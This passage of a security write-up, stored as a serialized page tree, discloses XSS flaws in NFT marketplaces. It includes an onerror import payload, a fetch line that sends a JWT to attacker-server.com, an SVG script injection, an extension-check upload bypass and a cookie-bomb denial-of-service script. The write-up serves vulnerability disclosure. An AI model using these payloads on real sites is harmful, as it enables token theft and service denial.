"value":38097},{"type":24,"tag":147,"props":38925,"children":38926},{"style":241},[38927],{"type":29,"value":369},{"type":24,"tag":147,"props":38929,"children":38930},{"style":3534},[38931],{"type":29,"value":38106},{"type":24,"tag":147,"props":38933,"children":38934},{"style":247},[38935],{"type":29,"value":38111},{"type":24,"tag":147,"props":38937,"children":38938},{"style":241},[38939],{"type":29,"value":369},{"type":24,"tag":147,"props":38941,"children":38942},{"style":3534},[38943],{"type":29,"value":38120},{"type":24,"tag":147,"props":38945,"children":38946},{"style":37976},[38947],{"type":29,"value":11617},{"type":24,"tag":147,"props":38949,"children":38950},{"class":149,"line":187},[38951,38955,38959,38963,38967,38971,38975,38979,38983,38987,38991,38995],{"type":24,"tag":147,"props":38952,"children":38953},{"style":37976},[38954],{"type":29,"value":38132},{"type":24,"tag":147,"props":38956,"children":38957},{"style":218},[38958],{"type":29,"value":13992},{"type":24,"tag":147,"props":38960,"children":38961},{"style":247},[38962],{"type":29,"value":38141},{"type":24,"tag":147,"props":38964,"children":38965},{"style":241},[38966],{"type":29,"value":369},{"type":24,"tag":147,"props":38968,"children":38969},{"style":3534},[38970],{"type":29,"value":38150},{"type":24,"tag":147,"props":38972,"children":38973},{"style":247},[38974],{"type":29,"value":38155},{"type":24,"tag":147,"props":38976,"children":38977},{"style":241},[38978],{"type":29,"value":369},{"type":24,"tag":147,"props":38980,"children":38981},{"style":3534},[38982],{"type":29,"value":38164},{"type":24,"tag":147,"props":38984,"children":38985},{"style":247},[38986],{"type":29,"value":38056},{"type":24,"tag":147,"props":38988,"children":38989},{"style":241},[38990],{"type":29,"value":369},{"type":24,"tag":147,"props":38992,"children":38993},{"style":3534},[38994],{"type":29,"value":38177},{"type":24,"tag":147,"props":38996,"children":38997},{"style":37976},[38998],{"type":29,"value":11617},{"type":24,"tag":147,"props":39000,"children":39001},{"class":149,"line":196},[39002,39006,39010,39014,39018,39022,39026,39030,39034,39038,39042,39046,39051,39055,39060,39064,39069,39073,39078,39083,39087,39091,39096,39101,39106,39111,39116,39121,39125,39130,39134,39138,39143,39147,39152,39157,39162,39166,39170,39174,39179,39183],{"type":24,"tag":147,"props":39003,"children":39004},{"style":37976},[39005],{"type":29,"value":38189},{"type":24,"tag":147,"props":39007,"children":39008},{"style":218},[39009],{"type":29,"value":13992},{"type":24,"tag":147,"props":39011,"children":39012},{"style":247},[39013],{"type":29,"value":38141},{"type":24,"tag":147,"props":39015,"children":39016},{"style":241},[39017],{"type":29,"value":369},{"type":24,"tag":147,"props":39019,"children":39020},{"style":3534},[39021],{"type":29,"value":38206},{"type":24,"tag":147,"props":39023,"children":39024},{"style":247},[39025],{"type":29,"value":38155},{"type":24,"tag":147,"props":39027,"children":39028},{"style":241},[39029],{"type":29,"value":369},{"type":24,"tag":147,"props":39031,"children":39032},{"style":3534},[39033],{"type":29,"value":38219},{"type":24,"tag":147,"props":39035,"children":39036},{"style":247},[39037],{"type":29,"value":38111},{"type":24,"tag":147,"props":39039,"children":39040},{"style":241},[39041],{"type":29,"value":369},{"type":24,"tag":147,"props":39043,"children":39044},{"style":3534},[39045],{"type":29,"value":25663},{"type":24,"tag":147,"props":39047,"children":39048},{"style":218},[39049],{"type":29,"value":39050},"{"",{"type":24,"tag":147,"props":39052,"children":39053},{"style":3534},[39054],{"type":29,"value":38241},{"type":24,"tag":147,"props":39056,"children":39057},{"style":218},[39058],{"type":29,"value":39059},"":"<",{"type":24,"tag":147,"props":39061,"children":39062},{"style":3534},[39063],{"type":29,"value":63},{"type":24,"tag":147,"props":39065,"children":39066},{"style":218},[39067],{"type":29,"value":39068},"/",{"type":24,"tag":147,"props":39070,"children":39071},{"style":3534},[39072],{"type":29,"value":38270},{"type":24,"tag":147,"props":39074,"children":39075},{"style":218},[39076],{"type":29,"value":39077},"=",{"type":24,"tag":147,"props":39079,"children":39080},{"style":3534},[39081],{"type":29,"value":39082},"x onerror",{"type":24,"tag":147,"props":39084,"children":39085},{"style":218},[39086],{"type":29,"value":39077},{"type":24,"tag":147,"props":39088,"children":39089},{"style":3534},[39090],{"type":29,"value":25088},{"type":24,"tag":147,"props":39092,"children":39093},{"style":218},[39094],{"type":29,"value":39095},"(`",{"type":24,"tag":147,"props":39097,"children":39098},{"style":3534},[39099],{"type":29,"value":39100},"https",{"type":24,"tag":147,"props":39102,"children":39103},{"style":218},[39104],{"type":29,"value":39105},"://",{"type":24,"tag":147,"props":39107,"children":39108},{"style":3534},[39109],{"type":29,"value":39110},"attacker-server",{"type":24,"tag":147,"props":39112,"children":39113},{"style":218},[39114],{"type":29,"value":39115},".",{"type":24,"tag":147,"props":39117,"children":39118},{"style":3534},[39119],{"type":29,"value":39120},"com",{"type":24,"tag":147,"props":39122,"children":39123},{"style":218},[39124],{"type":29,"value":39068},{"type":24,"tag":147,"props":39126,"children":39127},{"style":3534},[39128],{"type":29,"value":39129},"leak",{"type":24,"tag":147,"props":39131,"children":39132},{"style":218},[39133],{"type":29,"value":39115},{"type":24,"tag":147,"props":39135,"children":39136},{"style":3534},[39137],{"type":29,"value":36966},{"type":24,"tag":147,"props":39139,"children":39140},{"style":218},[39141],{"type":29,"value":39142},"`)>","",{"type":24,"tag":147,"props":39144,"children":39145},{"style":3534},[39146],{"type":29,"value":38328},{"type":24,"tag":147,"props":39148,"children":39149},{"style":218},[39150],{"type":29,"value":39151},"":"",{"type":24,"tag":147,"props":39153,"children":39154},{"style":3534},[39155],{"type":29,"value":39156},"profile-assets",{"type":24,"tag":147,"props":39158,"children":39159},{"style":218},[39160],{"type":29,"value":39161},"","",{"type":24,"tag":147,"props":39163,"children":39164},{"style":3534},[39165],{"type":29,"value":38357},{"type":24,"tag":147,"props":39167,"children":39168},{"style":218},[39169],{"type":29,"value":39151},{"type":24,"tag":147,"props":39171,"children":39172},{"style":3534},[39173],{"type":29,"value":38366},{"type":24,"tag":147,"props":39175,"children":39176},{"style":218},[39177],{"type":29,"value":39178},""}",{"type":24,"tag":147,"props":39180,"children":39181},{"style":3534},[39182],{"type":29,"value":25663},{"type":24,"tag":147,"props":39184,"children":39185},{"style":37976},[39186],{"type":29,"value":38380},{"type":24,"tag":147,"props":39188,"children":39189},{"class":149,"line":205},[39190,39194,39198,39202,39206,39210,39214,39218,39222],{"type":24,"tag":147,"props":39191,"children":39192},{"style":37976},[39193],{"type":29,"value":38189},{"type":24,"tag":147,"props":39195,"children":39196},{"style":218},[39197],{"type":29,"value":13992},{"type":24,"tag":147,"props":39199,"children":39200},{"style":247},[39201],{"type":29,"value":38141},{"type":24,"tag":147,"props":39203,"children":39204},{"style":241},[39205],{"type":29,"value":369},{"type":24,"tag":147,"props":39207,"children":39208},{"style":3534},[39209],{"type":29,"value":38404},{"type":24,"tag":147,"props":39211,"children":39212},{"style":247},[39213],{"type":29,"value":38111},{"type":24,"tag":147,"props":39215,"children":39216},{"style":241},[39217],{"type":29,"value":369},{"type":24,"tag":147,"props":39219,"children":39220},{"style":3534},[39221],{"type":29,"value":38417},{"type":24,"tag":147,"props":39223,"children":39224},{"style":37976},[39225],{"type":29,"value":38380},{"type":24,"tag":147,"props":39227,"children":39228},{"class":149,"line":214},[39229,39233,39237],{"type":24,"tag":147,"props":39230,"children":39231},{"style":37976},[39232],{"type":29,"value":38429},{"type":24,"tag":147,"props":39234,"children":39235},{"style":218},[39236],{"type":29,"value":38051},{"type":24,"tag":147,"props":39238,"children":39239},{"style":37976},[39240],{"type":29,"value":11617},{"type":24,"tag":147,"props":39242,"children":39243},{"class":149,"line":272},[39244,39248,39252],{"type":24,"tag":147,"props":39245,"children":39246},{"style":37976},[39247],{"type":29,"value":38445},{"type":24,"tag":147,"props":39249,"children":39250},{"style":218},[39251],{"type":29,"value":38000},{"type":24,"tag":147,"props":39253,"children":39254},{"style":37976},[39255],{"type":29,"value":11617},{"type":24,"tag":147,"props":39257,"children":39258},{"class":149,"line":281},[39259],{"type":24,"tag":147,"props":39260,"children":39261},{"emptyLinePlaceholder":16},[39262],{"type":29,"value":314},{"type":24,"tag":147,"props":39264,"children":39265},{"class":149,"line":299},[39266,39270,39274],{"type":24,"tag":147,"props":39267,"children":39268},{"style":37976},[39269],{"type":29,"value":37995},{"type":24,"tag":147,"props":39271,"children":39272},{"style":218},[39273],{"type":29,"value":38016},{"type":24,"tag":147,"props":39275,"children":39276},{"style":37976},[39277],{"type":29,"value":11617},{"type":24,"tag":147,"props":39279,"children":39280},{"class":149,"line":308},[39281],{"type":24,"tag":147,"props":39282,"children":39283},{"emptyLinePlaceholder":16},[39284],{"type":29,"value":314},{"type":24,"tag":147,"props":39286,"children":39287},{"class":149,"line":317},[39288,39292],{"type":24,"tag":147,"props":39289,"children":39290},{"style":235},[39291],{"type":29,"value":38490},{"type":24,"tag":147,"props":39293,"children":39294},{"style":218},[39295],{"type":29,"value":278},{"type":24,"tag":147,"props":39297,"children":39298},{"class":149,"line":332},[39299,39303,39307,39311,39315,39319,39323,39327,39331,39335,39339,39343],{"type":24,"tag":147,"props":39300,"children":39301},{"style":247},[39302],{"type":29,"value":38502},{"type":24,"tag":147,"props":39304,"children":39305},{"style":247},[39306],{"type":29,"value":38507},{"type":24,"tag":147,"props":39308,"children":39309},{"style":241},[39310],{"type":29,"value":38512},{"type":24,"tag":147,"props":39312,"children":39313},{"style":321},[39314],{"type":29,"value":38517},{"type":24,"tag":147,"props":39316,"children":39317},{"style":241},[39318],{"type":29,"value":408},{"type":24,"tag":147,"props":39320,"children":39321},{"style":321},[39322],{"type":29,"value":38517},{"type":24,"tag":147,"props":39324,"children":39325},{"style":229},[39326],{"type":29,"value":38530},{"type":24,"tag":147,"props":39328,"children":39329},{"style":241},[39330],{"type":29,"value":480},{"type":24,"tag":147,"props":39332,"children":39333},{"style":3534},[39334],{"type":29,"value":38539},{"type":24,"tag":147,"props":39336,"children":39337},{"style":241},[39338],{"type":29,"value":38544},{"type":24,"tag":147,"props":39340,"children":39341},{"style":229},[39342],{"type":29,"value":38549},{"type":24,"tag":147,"props":39344,"children":39345},{"style":241},[39346],{"type":29,"value":13361},{"type":24,"tag":147,"props":39348,"children":39349},{"class":149,"line":350},[39350],{"type":24,"tag":147,"props":39351,"children":39352},{"emptyLinePlaceholder":16},[39353],{"type":29,"value":314},{"type":24,"tag":147,"props":39355,"children":39356},{"class":149,"line":358},[39357,39361,39365,39369,39373,39377,39381,39385,39389,39393,39397,39401,39405],{"type":24,"tag":147,"props":39358,"children":39359},{"style":247},[39360],{"type":29,"value":8696},{"type":24,"tag":147,"props":39362,"children":39363},{"style":247},[39364],{"type":29,"value":38572},{"type":24,"tag":147,"props":39366,"children":39367},{"style":241},[39368],{"type":29,"value":38512},{"type":24,"tag":147,"props":39370,"children":39371},{"style":218},[39372],{"type":29,"value":20734},{"type":24,"tag":147,"props":39374,"children":39375},{"style":229},[39376],{"type":29,"value":38585},{"type":24,"tag":147,"props":39378,"children":39379},{"style":241},[39380],{"type":29,"value":38590},{"type":24,"tag":147,"props":39382,"children":39383},{"style":247},[39384],{"type":29,"value":38549},{"type":24,"tag":147,"props":39386,"children":39387},{"style":241},[39388],{"type":29,"value":28662},{"type":24,"tag":147,"props":39390,"children":39391},{"style":3534},[39392],{"type":29,"value":38603},{"type":24,"tag":147,"props":39394,"children":39395},{"style":241},[39396],{"type":29,"value":38608},{"type":24,"tag":147,"props":39398,"children":39399},{"style":247},[39400],{"type":29,"value":38613},{"type":24,"tag":147,"props":39402,"children":39403},{"style":3534},[39404],{"type":29,"value":38618},{"type":24,"tag":147,"props":39406,"children":39407},{"style":241},[39408],{"type":29,"value":38623},{"type":24,"tag":147,"props":39410,"children":39411},{"class":149,"line":397},[39412,39416,39420,39424,39428,39432],{"type":24,"tag":147,"props":39413,"children":39414},{"style":247},[39415],{"type":29,"value":38502},{"type":24,"tag":147,"props":39417,"children":39418},{"style":247},[39419],{"type":29,"value":38635},{"type":24,"tag":147,"props":39421,"children":39422},{"style":241},[39423],{"type":29,"value":38512},{"type":24,"tag":147,"props":39425,"children":39426},{"style":218},[39427],{"type":29,"value":20734},{"type":24,"tag":147,"props":39429,"children":39430},{"style":229},[39431],{"type":29,"value":38648},{"type":24,"tag":147,"props":39433,"children":39434},{"style":241},[39435],{"type":29,"value":9295},{"type":24,"tag":147,"props":39437,"children":39438},{"class":149,"line":421},[39439,39443,39447,39451,39455,39459,39463,39467],{"type":24,"tag":147,"props":39440,"children":39441},{"style":247},[39442],{"type":29,"value":38660},{"type":24,"tag":147,"props":39444,"children":39445},{"style":241},[39446],{"type":29,"value":87},{"type":24,"tag":147,"props":39448,"children":39449},{"style":247},[39450],{"type":29,"value":38669},{"type":24,"tag":147,"props":39452,"children":39453},{"style":241},[39454],{"type":29,"value":87},{"type":24,"tag":147,"props":39456,"children":39457},{"style":229},[39458],{"type":29,"value":15259},{"type":24,"tag":147,"props":39460,"children":39461},{"style":241},[39462],{"type":29,"value":480},{"type":24,"tag":147,"props":39464,"children":39465},{"style":247},[39466],{"type":29,"value":6999},{"type":24,"tag":147,"props":39468,"children":39469},{"style":241},[39470],{"type":29,"value":1473},{"type":24,"tag":147,"props":39472,"children":39473},{"class":149,"line":435},[39474],{"type":24,"tag":147,"props":39475,"children":39476},{"emptyLinePlaceholder":16},[39477],{"type":29,"value":314},{"type":24,"tag":147,"props":39479,"children":39480},{"class":149,"line":444},[39481,39485,39489,39493,39497,39501,39505,39509],{"type":24,"tag":147,"props":39482,"children":39483},{"style":247},[39484],{"type":29,"value":38704},{"type":24,"tag":147,"props":39486,"children":39487},{"style":241},[39488],{"type":29,"value":87},{"type":24,"tag":147,"props":39490,"children":39491},{"style":247},[39492],{"type":29,"value":38713},{"type":24,"tag":147,"props":39494,"children":39495},{"style":241},[39496],{"type":29,"value":38512},{"type":24,"tag":147,"props":39498,"children":39499},{"style":247},[39500],{"type":29,"value":38722},{"type":24,"tag":147,"props":39502,"children":39503},{"style":241},[39504],{"type":29,"value":87},{"type":24,"tag":147,"props":39506,"children":39507},{"style":247},[39508],{"type":29,"value":38713},{"type":24,"tag":147,"props":39510,"children":39511},{"style":241},[39512],{"type":29,"value":432},{"type":24,"tag":147,"props":39514,"children":39515},{"class":149,"line":452},[39516],{"type":24,"tag":147,"props":39517,"children":39518},{"emptyLinePlaceholder":16},[39519],{"type":29,"value":314},{"type":24,"tag":147,"props":39521,"children":39522},{"class":149,"line":461},[39523,39528,39532,39537],{"type":24,"tag":147,"props":39524,"children":39525},{"style":247},[39526],{"type":29,"value":39527},"        form123",{"type":24,"tag":147,"props":39529,"children":39530},{"style":241},[39531],{"type":29,"value":87},{"type":24,"tag":147,"props":39533,"children":39534},{"style":229},[39535],{"type":29,"value":39536},"submit",{"type":24,"tag":147,"props":39538,"children":39539},{"style":241},[39540],{"type":29,"value":13361},{"type":24,"tag":147,"props":39542,"children":39543},{"class":149,"line":469},[39544,39548],{"type":24,"tag":147,"props":39545,"children":39546},{"style":218},[39547],{"type":29,"value":38742},{"type":24,"tag":147,"props":39549,"children":39550},{"style":235},[39551],{"type":29,"value":38747},{"type":24,"tag":147,"props":39553,"children":39554},{"class":149,"line":508},[39555],{"type":24,"tag":147,"props":39556,"children":39557},{"emptyLinePlaceholder":16},[39558],{"type":29,"value":314},{"type":24,"tag":147,"props":39560,"children":39561},{"class":149,"line":572},[39562,39566,39570],{"type":24,"tag":147,"props":39563,"children":39564},{"style":37976},[39565],{"type":29,"value":38445},{"type":24,"tag":147,"props":39567,"children":39568},{"style":218},[39569],{"type":29,"value":38016},{"type":24,"tag":147,"props":39571,"children":39572},{"style":37976},[39573],{"type":29,"value":11617},{"type":24,"tag":147,"props":39575,"children":39576},{"class":149,"line":591},[39577,39581,39585],{"type":24,"tag":147,"props":39578,"children":39579},{"style":37976},[39580],{"type":29,"value":38030},{"type":24,"tag":147,"props":39582,"children":39583},{"style":218},[39584],{"type":29,"value":37983},{"type":24,"tag":147,"props":39586,"children":39587},{"style":37976},[39588],{"type":29,"value":11617},{"type":24,"tag":25,"props":39590,"children":39591},{},[39592],{"type":29,"value":39593},"This script automatically sends the following config in POST body, which triggers the XSS and imports a malicious javascript file from attacker's server:",{"type":24,"tag":137,"props":39595,"children":39599},{"className":39596,"code":39597,"language":39598,"meta":7,"style":7},"language-json shiki shiki-themes slack-dark","{\n  \"address\": \"\u003Cimg/src=x onerror=import(`https://attacker-server.com/leak.js`)>\",\n  \"to\": \"profile-assets\",\n  \"type\": \"icon\"\n}\n","json",[39600],{"type":24,"tag":80,"props":39601,"children":39602},{"__ignoreMap":7},[39603,39610,39631,39652,39669],{"type":24,"tag":147,"props":39604,"children":39605},{"class":149,"line":150},[39606],{"type":24,"tag":147,"props":39607,"children":39608},{"style":235},[39609],{"type":29,"value":278},{"type":24,"tag":147,"props":39611,"children":39612},{"class":149,"line":160},[39613,39618,39622,39627],{"type":24,"tag":147,"props":39614,"children":39615},{"style":247},[39616],{"type":29,"value":39617},"  \"address\"",{"type":24,"tag":147,"props":39619,"children":39620},{"style":235},[39621],{"type":29,"value":20943},{"type":24,"tag":147,"props":39623,"children":39624},{"style":3534},[39625],{"type":29,"value":39626},"\"\u003Cimg/src=x onerror=import(`https://attacker-server.com/leak.js`)>\"",{"type":24,"tag":147,"props":39628,"children":39629},{"style":235},[39630],{"type":29,"value":1549},{"type":24,"tag":147,"props":39632,"children":39633},{"class":149,"line":169},[39634,39639,39643,39648],{"type":24,"tag":147,"props":39635,"children":39636},{"style":247},[39637],{"type":29,"value":39638},"  \"to\"",{"type":24,"tag":147,"props":39640,"children":39641},{"style":235},[39642],{"type":29,"value":20943},{"type":24,"tag":147,"props":39644,"children":39645},{"style":3534},[39646],{"type":29,"value":39647},"\"profile-assets\"",{"type":24,"tag":147,"props":39649,"children":39650},{"style":235},[39651],{"type":29,"value":1549},{"type":24,"tag":147,"props":39653,"children":39654},{"class":149,"line":178},[39655,39660,39664],{"type":24,"tag":147,"props":39656,"children":39657},{"style":247},[39658],{"type":29,"value":39659},"  \"type\"",{"type":24,"tag":147,"props":39661,"children":39662},{"style":235},[39663],{"type":29,"value":20943},{"type":24,"tag":147,"props":39665,"children":39666},{"style":3534},[39667],{"type":29,"value":39668},"\"icon\"\n",{"type":24,"tag":147,"props":39670,"children":39671},{"class":149,"line":187},[39672],{"type":24,"tag":147,"props":39673,"children":39674},{"style":235},[39675],{"type":29,"value":827},{"type":24,"tag":25,"props":39677,"children":39678},{},[39679],{"type":29,"value":39680},"Then, the imported script is able to exfiltrate the JWT authentication token from stashh.io:",{"type":24,"tag":137,"props":39682,"children":39684},{"className":36964,"code":39683,"language":36966,"meta":7,"style":7},"fetch(`https://attacker-server.com/?token_leak=${localStorage.getItem('token')}`);\n",[39685],{"type":24,"tag":80,"props":39686,"children":39687},{"__ignoreMap":7},[39688],{"type":24,"tag":147,"props":39689,"children":39690},{"class":149,"line":150},[39691,39696,39700,39705,39710,39715,39719,39724,39728,39733,39737,39742,39746],{"type":24,"tag":147,"props":39692,"children":39693},{"style":229},[39694],{"type":29,"value":39695},"fetch",{"type":24,"tag":147,"props":39697,"children":39698},{"style":235},[39699],{"type":29,"value":480},{"type":24,"tag":147,"props":39701,"children":39702},{"style":3534},[39703],{"type":29,"value":39704},"`https://attacker-server.com/?token_leak=",{"type":24,"tag":147,"props":39706,"children":39707},{"style":218},[39708],{"type":29,"value":39709},"${",{"type":24,"tag":147,"props":39711,"children":39712},{"style":247},[39713],{"type":29,"value":39714},"localStorage",{"type":24,"tag":147,"props":39716,"children":39717},{"style":241},[39718],{"type":29,"value":87},{"type":24,"tag":147,"props":39720,"children":39721},{"style":229},[39722],{"type":29,"value":39723},"getItem",{"type":24,"tag":147,"props":39725,"children":39726},{"style":241},[39727],{"type":29,"value":480},{"type":24,"tag":147,"props":39729,"children":39730},{"style":3534},[39731],{"type":29,"value":39732},"'token'",{"type":24,"tag":147,"props":39734,"children":39735},{"style":241},[39736],{"type":29,"value":8758},{"type":24,"tag":147,"props":39738,"children":39739},{"style":218},[39740],{"type":29,"value":39741},"}",{"type":24,"tag":147,"props":39743,"children":39744},{"style":3534},[39745],{"type":29,"value":16003},{"type":24,"tag":147,"props":39747,"children":39748},{"style":235},[39749],{"type":29,"value":1473},{"type":24,"tag":43,"props":39751,"children":39753},{"id":39752},"svgs",[39754],{"type":29,"value":39755},"SVGs",{"type":24,"tag":25,"props":39757,"children":39758},{},[39759],{"type":29,"value":39760},"After closely analyzing various NFT marketplaces, we noticed a common shared feature; the ability to update profile pictures or insert NFT assets using SVG files. SVG is an XML- based format that defines graphics and how they interact.",{"type":24,"tag":25,"props":39762,"children":39763},{},[39764],{"type":29,"value":39765},"Unbeknownst to some people, SVG files can contain JavaScript and run arbitrary scripts.",{"type":24,"tag":137,"props":39767,"children":39769},{"className":36964,"code":39768,"language":36966,"meta":7,"style":7},"\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\" \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\">\n\n \u003Csvg xmlns=\"http://www.w3.org/2000/svg\">\n  \u003Ctitle>XSS\u003C/title>\n  \u003Cscript type=\"text/javascript\">\n   alert(document.domain);\n   \u003C/script>\n \u003C/svg>\n",[39770],{"type":24,"tag":80,"props":39771,"children":39772},{"__ignoreMap":7},[39773,39819,39856,39863,39893,39925,39953,39961,39977],{"type":24,"tag":147,"props":39774,"children":39775},{"class":149,"line":150},[39776,39781,39786,39791,39795,39800,39805,39809,39814],{"type":24,"tag":147,"props":39777,"children":39778},{"style":241},[39779],{"type":29,"value":39780},"\u003C?",{"type":24,"tag":147,"props":39782,"children":39783},{"style":247},[39784],{"type":29,"value":39785},"xml",{"type":24,"tag":147,"props":39787,"children":39788},{"style":247},[39789],{"type":29,"value":39790}," version",{"type":24,"tag":147,"props":39792,"children":39793},{"style":241},[39794],{"type":29,"value":369},{"type":24,"tag":147,"props":39796,"children":39797},{"style":3534},[39798],{"type":29,"value":39799},"\"1.0\"",{"type":24,"tag":147,"props":39801,"children":39802},{"style":247},[39803],{"type":29,"value":39804}," encoding",{"type":24,"tag":147,"props":39806,"children":39807},{"style":241},[39808],{"type":29,"value":369},{"type":24,"tag":147,"props":39810,"children":39811},{"style":3534},[39812],{"type":29,"value":39813},"\"UTF-8\"",{"type":24,"tag":147,"props":39815,"children":39816},{"style":241},[39817],{"type":29,"value":39818},"?>\n",{"type":24,"tag":147,"props":39820,"children":39821},{"class":149,"line":160},[39822,39827,39832,39837,39842,39847,39852],{"type":24,"tag":147,"props":39823,"children":39824},{"style":241},[39825],{"type":29,"value":39826},"\u003C!",{"type":24,"tag":147,"props":39828,"children":39829},{"style":247},[39830],{"type":29,"value":39831},"DOCTYPE",{"type":24,"tag":147,"props":39833,"children":39834},{"style":247},[39835],{"type":29,"value":39836}," svg",{"type":24,"tag":147,"props":39838,"children":39839},{"style":247},[39840],{"type":29,"value":39841}," PUBLIC",{"type":24,"tag":147,"props":39843,"children":39844},{"style":3534},[39845],{"type":29,"value":39846}," \"-//W3C//DTD SVG 1.1//EN\"",{"type":24,"tag":147,"props":39848,"children":39849},{"style":3534},[39850],{"type":29,"value":39851}," \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\"",{"type":24,"tag":147,"props":39853,"children":39854},{"style":241},[39855],{"type":29,"value":11617},{"type":24,"tag":147,"props":39857,"children":39858},{"class":149,"line":169},[39859],{"type":24,"tag":147,"props":39860,"children":39861},{"emptyLinePlaceholder":16},[39862],{"type":29,"value":314},{"type":24,"tag":147,"props":39864,"children":39865},{"class":149,"line":178},[39866,39870,39875,39880,39884,39889],{"type":24,"tag":147,"props":39867,"children":39868},{"style":37976},[39869],{"type":29,"value":14344},{"type":24,"tag":147,"props":39871,"children":39872},{"style":218},[39873],{"type":29,"value":39874},"svg",{"type":24,"tag":147,"props":39876,"children":39877},{"style":247},[39878],{"type":29,"value":39879}," xmlns",{"type":24,"tag":147,"props":39881,"children":39882},{"style":241},[39883],{"type":29,"value":369},{"type":24,"tag":147,"props":39885,"children":39886},{"style":3534},[39887],{"type":29,"value":39888},"\"http://www.w3.org/2000/svg\"",{"type":24,"tag":147,"props":39890,"children":39891},{"style":37976},[39892],{"type":29,"value":11617},{"type":24,"tag":147,"props":39894,"children":39895},{"class":149,"line":187},[39896,39900,39905,39909,39913,39917,39921],{"type":24,"tag":147,"props":39897,"children":39898},{"style":37976},[39899],{"type":29,"value":37995},{"type":24,"tag":147,"props":39901,"children":39902},{"style":218},[39903],{"type":29,"value":39904},"title",{"type":24,"tag":147,"props":39906,"children":39907},{"style":37976},[39908],{"type":29,"value":3453},{"type":24,"tag":147,"props":39910,"children":39911},{"style":235},[39912],{"type":29,"value":36838},{"type":24,"tag":147,"props":39914,"children":39915},{"style":37976},[39916],{"type":29,"value":38030},{"type":24,"tag":147,"props":39918,"children":39919},{"style":218},[39920],{"type":29,"value":39904},{"type":24,"tag":147,"props":39922,"children":39923},{"style":37976},[39924],{"type":29,"value":11617},{"type":24,"tag":147,"props":39926,"children":39927},{"class":149,"line":196},[39928,39932,39936,39940,39944,39949],{"type":24,"tag":147,"props":39929,"children":39930},{"style":37976},[39931],{"type":29,"value":37995},{"type":24,"tag":147,"props":39933,"children":39934},{"style":218},[39935],{"type":29,"value":38016},{"type":24,"tag":147,"props":39937,"children":39938},{"style":247},[39939],{"type":29,"value":38141},{"type":24,"tag":147,"props":39941,"children":39942},{"style":241},[39943],{"type":29,"value":369},{"type":24,"tag":147,"props":39945,"children":39946},{"style":3534},[39947],{"type":29,"value":39948},"\"text/javascript\"",{"type":24,"tag":147,"props":39950,"children":39951},{"style":37976},[39952],{"type":29,"value":11617},{"type":24,"tag":147,"props":39954,"children":39955},{"class":149,"line":205},[39956],{"type":24,"tag":147,"props":39957,"children":39958},{"style":235},[39959],{"type":29,"value":39960},"   alert(document.domain);\n",{"type":24,"tag":147,"props":39962,"children":39963},{"class":149,"line":214},[39964,39969,39973],{"type":24,"tag":147,"props":39965,"children":39966},{"style":37976},[39967],{"type":29,"value":39968},"   \u003C/",{"type":24,"tag":147,"props":39970,"children":39971},{"style":218},[39972],{"type":29,"value":38016},{"type":24,"tag":147,"props":39974,"children":39975},{"style":37976},[39976],{"type":29,"value":11617},{"type":24,"tag":147,"props":39978,"children":39979},{"class":149,"line":272},[39980,39985,39989],{"type":24,"tag":147,"props":39981,"children":39982},{"style":37976},[39983],{"type":29,"value":39984}," \u003C/",{"type":24,"tag":147,"props":39986,"children":39987},{"style":218},[39988],{"type":29,"value":39874},{"type":24,"tag":147,"props":39990,"children":39991},{"style":37976},[39992],{"type":29,"value":11617},{"type":24,"tag":25,"props":39994,"children":39995},{},[39996,39998,40005],{"type":29,"value":39997},"Although some marketplaces restrict the upload of SVG files, we discovered a way to bypass these checks. One particular instance involved the ",{"type":24,"tag":2773,"props":39999,"children":40002},{"href":40000,"rel":40001},"https://xtingles.com/",[2777],[40003],{"type":29,"value":40004},"xtingles Marketplace",{"type":29,"value":87},{"type":24,"tag":25,"props":40007,"children":40008},{},[40009],{"type":29,"value":40010},"Even though the file extension was validated based on its name, the content type was not checked. By renaming a file with an allowed extension and inserting an SVG file with the content type \"svg+xml,\", we were able to successfully upload the SVG file.",{"type":24,"tag":25,"props":40012,"children":40013},{},[40014],{"type":29,"value":40015},"Below, we show you how we did it.",{"type":24,"tag":25,"props":40017,"children":40018},{},[40019],{"type":29,"value":40020},"Request when the original SVG was sent, showing it is not accepted as format:",{"type":24,"tag":25,"props":40022,"children":40023},{},[40024],{"type":24,"tag":63,"props":40025,"children":40027},{"alt":7,"src":40026},"/posts/web2-bug-repellant-instructions/svg-1.png",[],{"type":24,"tag":25,"props":40029,"children":40030},{},[40031],{"type":29,"value":40032},"After changing the extension inside the file name.",{"type":24,"tag":25,"props":40034,"children":40035},{},[40036],{"type":24,"tag":63,"props":40037,"children":40039},{"alt":7,"src":40038},"/posts/web2-bug-repellant-instructions/svg-2.png",[],{"type":24,"tag":43,"props":40041,"children":40043},{"id":40042},"svgs-return",[40044],{"type":29,"value":40045},"SVGs Return",{"type":24,"tag":25,"props":40047,"children":40048},{},[40049],{"type":29,"value":40050},"We'll give credit where it's due. Some marketplaces mitigate the impact of XSS by storing images in IPFS, Amazon S3 buckets, or CloudFront.",{"type":24,"tag":25,"props":40052,"children":40053},{},[40054],{"type":29,"value":40055},"Unfortunately, this mitigation is still susceptible to a \"cookie bomb\" attack.",{"type":24,"tag":25,"props":40057,"children":40058},{},[40059],{"type":29,"value":40060},"This type of attack overwhelms a web server with an excessive number of cookies and can be used to achieve a Denial of Service (DoS), preventing users from accessing the file on the third-party service.",{"type":24,"tag":137,"props":40062,"children":40066},{"className":40063,"code":40064,"language":40065,"meta":7,"style":7},"language-jsx shiki shiki-themes slack-dark","\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\" \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\">\n\n \u003Csvg xmlns=\"http://www.w3.org/2000/svg\">\n  \u003Ctitle>XSS\u003C/title>\n  \u003Cscript type=\"text/javascript\">\n   var Take_Domain = window.location.hostname.split('.').slice(-2).join('.');\n   var Set_Cookie = Array(10000).join('a');\n\n   for (var i = 1; i \u003C 99; i++) {\n    document.cookie = 'Cookie' + i + '=' + Set_Cookie + ';Domain=' + Take_Domain;\n   }\n   \u003C/script>\n 